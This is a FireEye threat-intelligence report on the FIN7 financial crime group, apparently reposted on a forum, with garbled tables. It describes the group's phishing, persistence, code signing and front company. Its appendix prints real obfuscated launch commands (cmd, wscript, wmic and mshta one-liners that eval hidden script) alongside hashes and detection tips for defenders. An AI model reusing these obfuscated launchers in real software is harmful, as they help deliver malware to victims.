On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation[html]
On Aug. 1, 2018, the href="https://www.justice.gov/opa/pr/three-members-notorious-international-cybercrime-group-fin7-custody-role-attacking-over-100">United
States District Attorney’s Office for the Western District of
Washington unsealed indictments and announced the arrests of three
individuals within the leadership ranks of a criminal organization
that aligns with activity we have tracked since 2015 as FIN7. These
malicious actors are members of one of the most prolific financial
threat groups of this decade, having carefully crafted attacks
targeted at more than 100 organizations. FIN7 is referred to by many
vendors as “Carbanak Group,” although we do not equate all usage of
the CARBANAK backdoor with FIN7. This blog explores the range of
FIN7's criminal ventures, the technical innovation and social
engineering ingenuity that powered their success, a glimpse into their
recent campaigns, their apparent use of a security company as a front
for criminal operations, and what their success means for the threat
landscape moving forward. With this release, FireEye is also providing
technical context, historical indicators, and techniques that
organizations can use to hunt for FIN7 behavior enterprise-wide.
FIN7 Does the Crime...
The threat group is characterized by their persistent targeting and
large-scale theft of payment card data from victim systems, which it
has monetized at least a portion of through a prominent card shop. But
FIN7’s financial operations were not limited to card data theft. In
some instances, when they encountered and could not obtain payment
card data from point of sale (POS) systems secured with end-to-end
encryption (E2EE) or point-to-point encryption (P2PE), FIN7 pivoted to
target finance departments within their victim organizations.
Furthermore, in April 2017, FireEye reported that href="https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html">FIN7
sent spear phishing emails to personnel involved with United States
Securities and Exchange Commission (SEC) filings at multiple
organizations, providing further insight into FIN7’s targeting. These
targeted individuals would likely have access to material non-public
information that FIN7 actors could use to gain a competitive advantage
in stock trading.
Diversification of their monetization tactics has allowed the group
to impact a wide range of industries beyond those solely associated
with payment card industry. During campaigns that FireEye associates
with FIN7, victims within the following sectors have been targeted
within the United States and Europe:
| |
| |
| style="list-style-position: inside;"> Construction
|
| |
| |
| |
| |
FIN7’s Innovation Enabled their Success
Throughout FireEye’s tracking of FIN7 campaigns, the attackers have
attempted to stay ahead of the game and thwart detection, using novel
tactics and displaying characteristics of a well-resourced operation.
For example, in April 2017, href="https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html">FireEye
blogged about FIN7’s spear phishing emails that leveraged hidden
shortcut files (LNK files) to initiate the infection and
VBScript functionality launched by mshta.exe to infect the victim.
This was a direct departure from their established use of weaponized
Office macros and highlighted the group’s adaptive nature to evade detection.
FireEye also previously reported on FIN7’s use of the href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">CARBANAK
backdoor as a post-exploitation tool to cement their foothold in a
network and maintain access to victim environments. CARBANAK is well
known for its use in highly profitable and sophisticated attacks
dating back to 2013, with usage attributable to FIN7 beginning in late
2015, although how interconnected the campaigns employing the malware
over this five-year span are is unclear. FIN7’s use of CARBANAK is
particularly notable due to their use of creative persistence
mechanisms to launch the backdoor. The group href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">leveraged
an application shim database that injected a malicious in-memory
patch into the Services Control Manager ("services.exe")
process, and then spawned a CARBANAK backdoor process. FIN7 also
used this tactic to install a payment card harvesting utility.
Another notable characteristic of FIN7 has been their heavy use of
href="https://casecurity.org/wp-content/uploads/2013/10/CASC-Code-Signing.pdf">digital
certificates. Unsurprisingly, malicious threat actors have sought
to exploit the legitimacy afforded by these certificates. By digitally
signing their phishing documents, backdoors and later stage tools,
FIN7 was able to bypass many security controls that may limit
execution of macros from Office documents and restrict execution of
unsigned binaries on trusted systems.
Organization
|
Country
|
Serial
|
Email
|
Korsar Travel TOV | width="66" valign="top">UA
| valign="top">88:21:ac:7e:6c:da:11:00:1d:b3:d3:1a:16:c1:5c:26
korsartravel@bk.ru |
Kaitschuck James | width="66" valign="top">GB
| valign="top">30:2e:7f:14:3a:f3:f3:98:20:70:42:4e:ea:52:5d:d2
| valign="top">oliversoftware@hotmail.com
Park Travel | width="66" valign="top">RU
| valign="top">4d:e2:87:56:98:bf:c7:74:a3:f3:47:d6:70:7c:9b:f0
inga@parktravel-mx.ru
|
Table 1: Sample FIN7 code signing certificates
FIN7 developed evasive techniques at a rapid pace. Throughout 2017,
FIN7 was observed href="https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html">creating
novel obfuscation methods, and in some cases modifying the
methods on a daily basis while launching attacks targeting multiple
victims. The threat group regularly tested malicious DOC, DOCX, and
RTF phishing documents against public repositories to check static
detection engine coverage. Their development of a payload obfuscation
style using the Windows command interpreter's (cmd.exe) native string
substitution was so unique that FireEye dubbed it
"FINcoding." These methods inspired href="https://www.fireeye.com/blog/threat-research/2018/03/dosfuscation-exploring-obfuscation-and-detection-techniques.html">deep
command line obfuscation research and the release of Daniel
Bohannon's href="https://github.com/danielbohannon/Invoke-DOSfuscation">Invoke-DOSfuscation.
Reference Table 2 and Table 3 for a selection of samples and their
associated command line obfuscation techniques.
FIN7’s Relentless Phone Calls and Bellyaching
Over the three years of responding to a multitude of compromises and
proactively defending against FIN7, FireEye observed unprecedented
social engineering prowess. From leveraging web forms for initial
contact to targeting and engaging directly with pre-determined store
managers, the operators demonstrated a range of capabilities. FIN7’s
reach extended beyond their targets’ computer systems. FireEye has
responded to incidents where FIN7 has called victims prior to
lodging digital complaints laden with malicious documents as well as
after the phishing documents have been sent, in order to check if they
were received – a crude but effective FIN7 email delivery tracking technique.
As FIN7 has matured, so did the quality of their phishing lures and
templates, which were most often sent from fake but thoroughly
disguised individuals and businesses – and occasionally from sender
addresses impersonating legitimate government entities. Their phishing
has often exploited urgent, high value business matters tailored to
their chosen targets. At individual stores, managers were contacted
about lost items or sent a “receipt” claiming overcharging. Other FIN7
phishing emails masqueraded as detailed catering orders or requests
for special menus tailored to individuals with dietary restrictions.
In early 2017, a pattern of complaints emerged and has continued for
well over a year, where FIN7 has contacted stores and corporate
offices to lodge food poisoning complaints with malicious attachments.
Internally dubbed “ href="https://twitter.com/search?q=%23FINdigestion">FINdigestion”
by FireEye, this pattern of detailed complaints eventually expanded
beyond individual complaints and into litigious concerns raised on
behalf of “the government”, as shown in Figure 1.
Figure 1: FDA themed spear phishing email
It is noteworthy that the BATELEUR backdoor activity href="https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor">first
identified by Proofpoint in July 2017, which FireEye tracks as a
suspected FIN7 subgroup, uses highly-customized graphics for their
targets, often created in Adobe Photoshop. In this same phishing
campaign, FIN7’s malicious attachment was graphically themed to match,
as shown in Figure 2.
Figure 2: FDA themed spear phishing attachment
Throughout their operations, the professional design and continued
development of phishing elements in parallel to other post-compromise
tools indicated to FireEye that FIN7 was most likely a well-resourced
criminal operation.
It’s Just Metadata
FireEye has tracked several FIN7 personas throughout their
operations by collecting and parsing filetypes of forensic value for
juicy metadata. In a previous blog, we shared how LNK files created by
FIN7 unintentionally revealed valuable information about their
development environment.
LNK files can contain metadata that reveals attributes about the
systems on which the LNKs were created, including original file paths,
volume serial numbers, MAC addresses, and hostnames. By studying
values within the LNK metadata we often identify
"toolmarks," or unique values associated with distinct
malware developer and operator personas.
FIN7 LNK metadata shows that the actors routinely used virtual
machines with generic hostnames such as ANDY-PC or USER-PC, and
default hostnames with the structure WIN-[A-Z0-9]{11} (e.g. WIN-ABCDEFGH1JK).
FireEye has tracked several hostname and path toolmarks associated
with FIN7’s operations, which we have used to link clusters of threat
activity together. These toolmarks may be linked to FIN7 members who
are involved in tool development or the broader criminal operation.
Notable personas from the technical data, which are explored in more
detail in the Technical Appendix section, include:
- "andy" /
"andy-pc" - "Hass"
- "jimbo"
- "Константин"
(Konstantin) - "oleg"
This analysis allowed us to understand FIN7’s systems and correlate
future attack activity to the different personas. Furthermore, the
metadata analysis helped us monitor for files generated by the group
and use the established toolmarks to establish detection for other
adversary methodologies (such as direct RDP or SMB access) if the
group changed TTPs.
Video Playback of FIN7 Operations
While responding to multiple FIN7 intrusions, FireEye recovered a
custom video recording capability used by FIN7 as a part of their
operations. FireEye’s FLARE team reverse engineered the video
protocol, which appeared to be custom-written by FIN7 as it has no
external library dependencies, contained Cyrillic comments in the
code, and required the use of a bespoke video player unique to FIN7.
The attackers most likely leveraged this video recording capability in
their arsenal to monitor operations in victim environments to inform
later stages of their intrusions.
FireEye obtained a version of the criminal developers’ video player
from a trusted source and with the knowledge of the reverse engineered
protocol, the FLARE team modified the source code to support multiple
versions of FIN7’s custom encoding. With the patched source code,
FireEye can decode and playback FIN7’s video monitoring for affected
victims in possession of these files.
Recent Shifts in FIN7 Operations
Throughout 2018, FireEye has continued to identify multiple domains
registered using patterns consistent with prior FIN7 activity, as well
as campaigns using disparate TTPs that we have attributed to FIN7 with
varying degrees of confidence. ZIP archives delivering the BIRDDOG
backdoor were hosted on a portion of suspected FIN7 domains registered
in 2018. Some evidence further characterizing the nature of this
campaign suggests these malicious documents were sent to financial
institution customers in Eastern Europe and Central Asia as early as
September 2017. The targeting of individuals rather than organizations
would mark a significant shift in their targeting, although it is also
possible that the banks spoofed in these campaigns were FIN7's
ultimate targets.
Additionally, we have identified similarities between FIN7 activity
and BATELEUR campaigns, which began as early as mid-2017 and have been
primarily aimed at U.S.-based restaurant chains. These campaigns
leveraged macro-embedded Word documents directly attached to the
emails as well as ones hosted on Google Drive. The documents were
meticulously crafted to appear as though they came from legitimate
organizations (e.g. restaurant associations and suppliers of POS
hardware). This suspected FIN7 activity continued past the date of
most recent arrest announced by U.S. law enforcement, although the
attackers are now leveraging an updated JavaScript backdoor dubbed GRIFFON.
These recent campaigns could be representative of a decisive effort
to diversify TTPs to avoid detection or could indicate the formation
of FIN7 splinter groups carrying out autonomous campaigns. As a
result, organizations need to remain vigilant and continue to monitor
for changes in the methods employed by the FIN7 actors.
Unveiling FIN7’s Front Company and Industry
Figure 3: Combi Security logo as
retrieved from 2016 cache of combisecurity.com
According to U.S. law enforcement, at least a portion of FIN7
activity was run out of a front company dubbed Combi Security. A cache
of its website reveals that the company purported to be “the world
leaders in the field of comprehensive protection of large information
systems from modern cyber threats” with headquarters in Moscow, Haifa,
and Odessa. We have identified job advertisements for Combi Security
that have been posted on popular Russian, Ukrainian, and Uzbek job
recruitment sites, as well as numerous individuals who most likely
worked for the company. Due to the seeming legitimacy of the
recruitment postings, some individuals may have been unaware of
illicit nature of their work. While the recruitment of unwitting
individuals as puppets has been a common component of at least some
criminal schemes – for example, reshipping mules who are recruited
through postings on career sites advertising attractive work-from-home
jobs – FIN7’s veiling of full-scale financial compromises as
legitimate offensive security engagements is particularly notable. The
apparent success of Combi Security in recruiting unsuspecting
individuals in this manner, may lead to more of this type of technical
recruitment by cyber criminals in the future.
Splitting Up?
The criminal organization behind FIN7 is almost certainly comprised
of many additional individuals beyond those already apprehended by law
enforcement authorities. FireEye iSIGHT Intelligence expects that at
least a portion of these malicious actors are likely to continue
conducting cyber crime activity in some capacity. Although we expect
activity to continue, it is extremely common for threat actors to
either modify their TTPs or temporarily halt operations following
significant developments such as arrests of high-level members and/or
public disclosure of TTPs that they employ.
Depending on the organizational and communication structure of the
group, it is also plausible that multiple subgroups could form and
carry out independent operations in the future. Recent campaigns, as
well as those using tactics that were atypical for historical FIN7
campaigns, such as the SEC campaigns with widespread targeting, may be
representative of semi-autonomous groups pre-existing within, or
cooperating with, the FIN7 criminal organization. As noted in our href="https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html">CARBANAK
overview, certain malware families and techniques transcend
strictly defined threat groups, and may be re-used by developers and
operators as they transition between organizations and campaigns.
Conclusion
These recent announcements by U.S. law enforcement highlight the
positive impact that can result from synergy between private and
public sector organizations in disrupting organized cyber crime
operations. As demonstrated by FIN7, financially-motivated threat
actors are becoming extremely advanced and are capable of inflicting
significant harm on organizations through vast, but carefully
orchestrated campaigns. As sophisticated threat groups continue to
emerge, partnerships, such as those exhibited here, will almost
certainly play a key role in combating these threats.
Acknowledgements
Jordan Nuce, Tom Bennett, Michael Bailey, and Daniel Bohannon
Technical Appendix
FireEye has responded to many FIN7 incidents, which has provided us
extensive insight into their operations. As part of this blog post, we
are also including numerous indicators that we attribute to FIN7 and
an overview of their techniques to aid organizations in identifying
malicious activity across their networks.
Phishing Documents Technical Details
In addition to LNK metadata, FIN7 phishing documents consistently
contained artifacts detailing the local file system paths of component
files used to construct the spear phishing documents. In the following
tables, we have also included examples of the myriad of command line
obfuscation techniques used by FIN7. Of particular note is the quick
turnaround time between documents employing different techniques.
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2018:05:21 17:32:00 | width="105" valign="top">Suspected FIN7
width="64" valign="top">GRIFFON
| colspan="2" valign="top">7e703dddcfc83cd352a910b48eaca95e
|
| valign="top">C:\Users\jimbo\Desktop\Files\Картинки\outlook2.png
cmd.exe /k "SET
a01=wscr& SET a02=ipt&&call %a01%%a02% /e:jscript
//b %TEMP%\errors.txt |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2018:01:26 15:59:00 | width="105" valign="top">Suspected FIN7
width="65" colspan="2" valign="top">BATELEUR
width="209" colspan="2"
valign="top">bb1a76702e2e7d0aa23385f24683d214
width="120" valign="top">Doc1.doc
| valign="top">C:\Users\Hass\Desktop\Картинки\New\outlook3.png
cmd.exe /c wscript.exe
//b /e:jscript %TEMP%\crashpad.ini |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2018:01:11 13:16:00 | width="105" valign="top">Suspected FIN7
width="65" colspan="2" valign="top">BATELEUR
width="209" colspan="2"
valign="top">5972597b729a7d2853a3b37444e58e01
width="120" valign="top">check.doc
| valign="top">C:\Users\Hass\Desktop\Картинки\New\outlook2.png
cmd.exe /c wscript.exe
//b /e:jscript %TEMP%\crashpad.ini |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:10:25 07:43:00 | width="105" valign="top">Suspected FIN7
width="65" colspan="2" valign="top">BATELEUR
width="209" colspan="2"
valign="top">c4aabdcf19898d9c30c4c2edea0147f0
width="120" valign="top">document1.doc
| valign="top">C:\Users\oleg\Desktop\Файлы\Картинки\New\defender.jpg
cmd.exe /c wscript.exe
//b /e:jscript %TEMP%\crashpad.ini |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:06:23 15:18:00 | width="105" valign="top">Suspected FIN7
width="65" colspan="2" valign="top">BATELEUR
width="209" colspan="2"
valign="top">467062d2a5a341716c42c6d7f36ba0ed
width="120" valign="top">check.doc
| valign="top">C:\Users\Work\Desktop\IMAGES\outlook2.png
wscript.exe //b
/e:jscript %TEMP%\debug.txt |
Table 2: Suspected FIN7 spear phishing launch
parameters and attacker local system artifacts
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:10:06 11:21:00 | width="63" colspan="2" valign="top">FIN7
width="89" colspan="2" valign="top">HALFBAKED
width="216" valign="top">29a3666cee0762fcd731fa663ebc0011
Doc0610.docx
|
| valign="top">C:\Users\andy\Desktop\unlock.cmd
cmd /c
""%TMP%\unlock.cmd" " |
@set w=wsc@ript /b
/e:js@cript %HOMEPATH%\tt.txt
@echo try{var fs=new
ActiveXObject('Scripting.FileSystemObject');sh=new
ActiveXObject('Wscript.Shell');p=sh.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\pp.txt';var
f=fs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var
com='';while(!f.AtEndOfStream)com+=f.ReadLine().substr(1);f.Close();try{fs.DeleteFile(p,
true);}catch(e){}this[String.fromCharCode(101)+'v'+'al'](com);}catch(e){};
>%HOMEPATH%\tt.txt
@copy /y %TMP%\unlock.cmd
%HOMEPATH%\pp.txt
@echo %w:@=%|cmd |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:09:27 11:56:00 | width="63" colspan="2" valign="top">FIN7
width="89" colspan="2" valign="top">HALFBAKED
width="216" valign="top">6146a18570e134c6c32633aca14375fb
Doc2709.docx
|
| valign="top">C:\Users\usr\Documents\send\270917\unlock.doc.lnk
wmic.exe process call
create "cmd start /min cmd /c for /f \"usebackq
delims=\" %x in (`FindStr /R /C:\"@#[0-9]#@\"
\"%TEMP%\unlock.doc.lnk\"`) do %x|cmd >nul
2>&1 &" |
cmd.exe /S /D /c"
echo /*@#8#@*/try{sh=new
ActiveXObject("Wscript.Shell");fs=new
ActiveXObject("Scripting.FileSystemObject");p=sh.ExpandEnvironmentStrings("%TM"+"P%");f=fs.GetFile(p+"//unlock.doc.lnk");s=f.OpenAsTextStream(1,0);c=s.Read(2403);c=s.ReadAll();s.Close();this[String.fromCharCode(101)+'va'+'l'](c);}catch(e){}
>%HOMEPATH%\t.txt & wscript //b /e:jscript
%HOMEPATH%\t.txt >nul 2>&1 &" |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:08:08 17:38:00 | width="63" colspan="2" valign="top">FIN7
width="89" colspan="2" valign="top">HALFBAKED
width="216" valign="top">03e85ad4217775906e6b5ceae8dc27af
| valign="top">Doc_n0908.rtf
| valign="top">C:\Users\andy\Desktop\unlock.doc.lnk
wmic.exe process call
create "mshta
javascript:eval(\"try{eval('wall=GetObject(\\'\\''+String.fromCharCode(44)+'\\'Word.Application\\')');eval(wall.ActiveDocument.Shapes(2).TextFrame.TextRange.Text);}catch(e){};close();\")"
|
mshta.exe
"try{jelo =
'try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+\\'va\\'+\\'l\\'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){};';var
fso = new
ActiveXObject("Scripting.FileSystemObject");var sh =
new ActiveXObject("Wscript.Shell");var p =
sh.ExpandEnvironmentStrings("%HOMEPATH%") +
"\\\\jelo.txt"" |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:07:27 15:51:00 | width="63" colspan="2" valign="top">FIN7
width="89" colspan="2" valign="top">HALFBAKED
width="216" valign="top">63e2eb258a85ed4e72f951cdbff2a58e
Dooq.docx
|
| valign="top">C:\Users\jinvr-3-1\Desktop\unlock.doc.lnk
cmd.exe /C set
x=wsc@ript /e:js@cript %HOMEPATH%\ttt.txt & echo
try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l'](w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text);}catch(e){};
>%HOMEPATH%\ttt.txt & echo %x:@=%|cmd |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:06:28
16:21:00 | FIN7 |
HALFBAKED | width="219" colspan="3"
valign="top">22ad7c05128ca7b48b0a2a4507803b16
width="130" valign="top">Doc0507.rtf
| valign="top">C:\Users\andy\Desktop\unprotect.rtf.lnk
cmd.exe /C set
x=wsc@ript /e:js@cript %HOMEPATH%\md5.txt & echo
try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){};
>%HOMEPATH%\md5.txt & echo %x:@=%|cmd |
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:05:11
12:59:00 | FIN7 |
HALFBAKED
BEACON |
| valign="top">99975b5ee2ddd31e89c9bdda7a3871d9
width="130" valign="top">Doc1.docx
| valign="top">C:\Users\user\Documents\unprotect.lnk
| valign="top">C:\WINDOWS\system32\mshta.exe
vbscript:Execute("On Error Resume Next:set
yjdsqjtrn=GetObject(,""Word.Application""):execute
yjdsqjtrn.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:04:20
16:27:00 | | valign="top">FIN7
| valign="top">HALFBAKED
BEACON
width="219" colspan="3"
valign="top">42a2a2352f6b1f5818f3b695f240fc3a
info.rtf |
| valign="top">C:\Users\testadmin.TEST\Desktop\unprotect.lnk
| valign="top">C:\WINDOWS\system32\mshta.exe
vbscript:Execute("On Error Resume Next:set
wprotect=GetObject(,""Word.Application""):execute
wprotect.ActiveDocument.Shapes(1).TextFrame.TextRange.Text:close")
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2017:01:12
18:00:00 | FIN7 |
HALFBAKED
BEACON
BELLHOP | | valign="top">cea2989309ccd5128f437335622978f1
width="130" valign="top">order.rtf
| valign="top">C:\Users\testadmin.TEST\Desktop\unprotected.vbe
C:\Users\tst01\Desktop\unprotected.vbs
| valign="top">%WINDIR%\System32\Wscript.exe
%TEMP%\WindowsUpdate_X24532\beginer.vbs
EXIF Creation Time
|
Attribution
|
Malware
|
MD5
|
Filename
|
2016:08:12
11:26:00 | FIN7 |
HALFBAKED | width="219" colspan="3"
valign="top">fbf653b89a0814f515ddbdcf82cc3795
width="130" valign="top">Reservation - Copy.docx
| valign="top">C:\Users\test\Documents\sploits\120816\order.vbe
| valign="top">%WINDIR%\System32\Wscript.exe
%TEMP%\AdobeUpdateManagementTool.vbs
Table 3: FIN7 spear phishing launch parameters
and attacker local system artifacts
FIN7 Tactics, Techniques & Procedures (TTPs)
FireEye is providing insight into FIN7’s notable methodologies
across multiple stages of the attack lifecycle and tips for
identifying evidence of this activity and similarly suspicious
activity in your environment.
Attack Lifecycle Stage
|
Adversary Methodology
|
Discovery Tips
|
Initial Compromise
| | valign="top">Spear phishing emails sent using PHP
Mailer
Inbound emails
containing metadata such as “X-Mailer: PHPMailer” |
Establish Foothold
| | valign="top">Persistence using registry Run and Run Once
keys
New Run and RunOnce
registry entries referencing .VBS and .VBA |
Establish Foothold
| | valign="top">Execution or persistence using Scheduled
Tasks
New Scheduled
Tasks referencing .CMD, .LNK, .VBS, .VBA, .PS1 and other
scripting language extensions |
Establish Foothold
| | valign="top">Persistence using Windows Services, Startup
Directory
New Windows
Services, new files in Startup directories |
Establish Foothold
| | valign="top">Persistence using AppCompat Shim
width="0" valign="top">New shim database files and
modifications of AppCompatFlags registry keys (see href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">FIN7
SDB Persistence)
Maintain Presence
| | valign="top">C2 using favored C2 ports
width="0" valign="top">Outbound connections with
port-protocol mismatches on common ports such as
53,80,443,8080
Maintain Presence
| | valign="top">C2 using favored generic 3LDs
width="0" valign="top">Outbound connections or DNS
resolutions to "sketchy" 2nd level
domains with generic 3rd level domains such as
mail, www1, www2, dns, ftp (eg. “mail[.]qefg[.]info”)
Maintain Presence
| | valign="top">C2 using VPS infrastructure with low
reputation
Inbound and
outbound connections from and to non-standard IP ranges,
especially from international Virtual Private Server (VPS)
providers |
Maintain Presence
| | valign="top">C2 using legitimate services including Google
Docs, Google Scripts and Pastebin
| valign="top">
Maintain Presence
| | valign="top">C2 using DNS via A, OPT, TXT records
Unusually long or numerous DNS A,
TXT and OPT record queries |
Maintain Presence
| | valign="top">C2 domains registered with REG.RU
Newly observed domains registered
via REG.RU |
Maintain Presence
| | valign="top">C2 domains registered with NameCheap
Newly observed domains registered
via NameCheap |
Maintain Presence
| | valign="top">C2 domains registered with odd format and
top-level domains
| valign="top">Unusually long or numerous DNS queries with
the structure [a-zA-Z]{4,5}\.[pw|us|club|info|site|top] (eg.
“pvze[.]club”)
Maintain Presence
| | valign="top">C2 domains registered with hyphen
Outbound connections to newly
registered, hyphenated domains |
Table 4: FIN7 TTPs
FIN7 Indicators
FireEye is providing these granular technical indicators so that
interested parties can better understand the threat actor and search
for their historical activity across enterprise networks.
Phishing Documents Droppers
Filename
|
MD5
|
Attribution
|
Malware
|
menu.rtf | width="271"
valign="bottom">c14eb54769ff208a2562e4ef47958d9e
FIN7 | width="211" valign="bottom">
| | valign="bottom">76eb6f124fba6599a54e92b829c55b63
FIN7 | width="211" valign="bottom">BEACON
3-ThompsonDan.rtf | width="271"
valign="bottom">4b783bd0bd7fcf880ca75359d9fc4da6
FIN7 | width="211" valign="bottom">BEACON
BELLHOP
HALFBAKED
claim.rtf | width="271"
valign="bottom">af53db730732aa7db5fdd45ebba34b94
FIN7 | width="211" valign="bottom">BEACON
BELLHOP
HALFBAKED
order.rtf | width="271"
valign="bottom">cea2989309ccd5128f437335622978f1
FIN7 | width="211" valign="bottom">BEACON
BELLHOP
HALFBAKED
order.rtf | width="271"
valign="bottom">cf4ccb3707e5597969738b4754782e4d
FIN7 | width="211" valign="bottom">BEACON
BELLHOP
HALFBAKED
Doc2_rtf.rtf | width="271"
valign="bottom">2dc0f4bece10759307026d90f585e006
FIN7 | width="211" valign="bottom">BEACON
HALFBAKED
doc1.doc | width="271"
valign="bottom">37759603c6cd91ebc8a1ea9ac0f2d580
FIN7 | width="211" valign="bottom">BEACON
HALFBAKED
IP archivée
Tags:
Le site internet Security-x.fr utilise des cookies. Un cookie est un fichier texte stocké par votre navigateur, qui lui permet de conserver des informations entre les pages internet et les sessions de navigation.
Ces fichiers permettent d'améliorer votre navigation sur notre site.
Learn more
|
Sujet: [FireEye]On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation (Lu 2766 fois)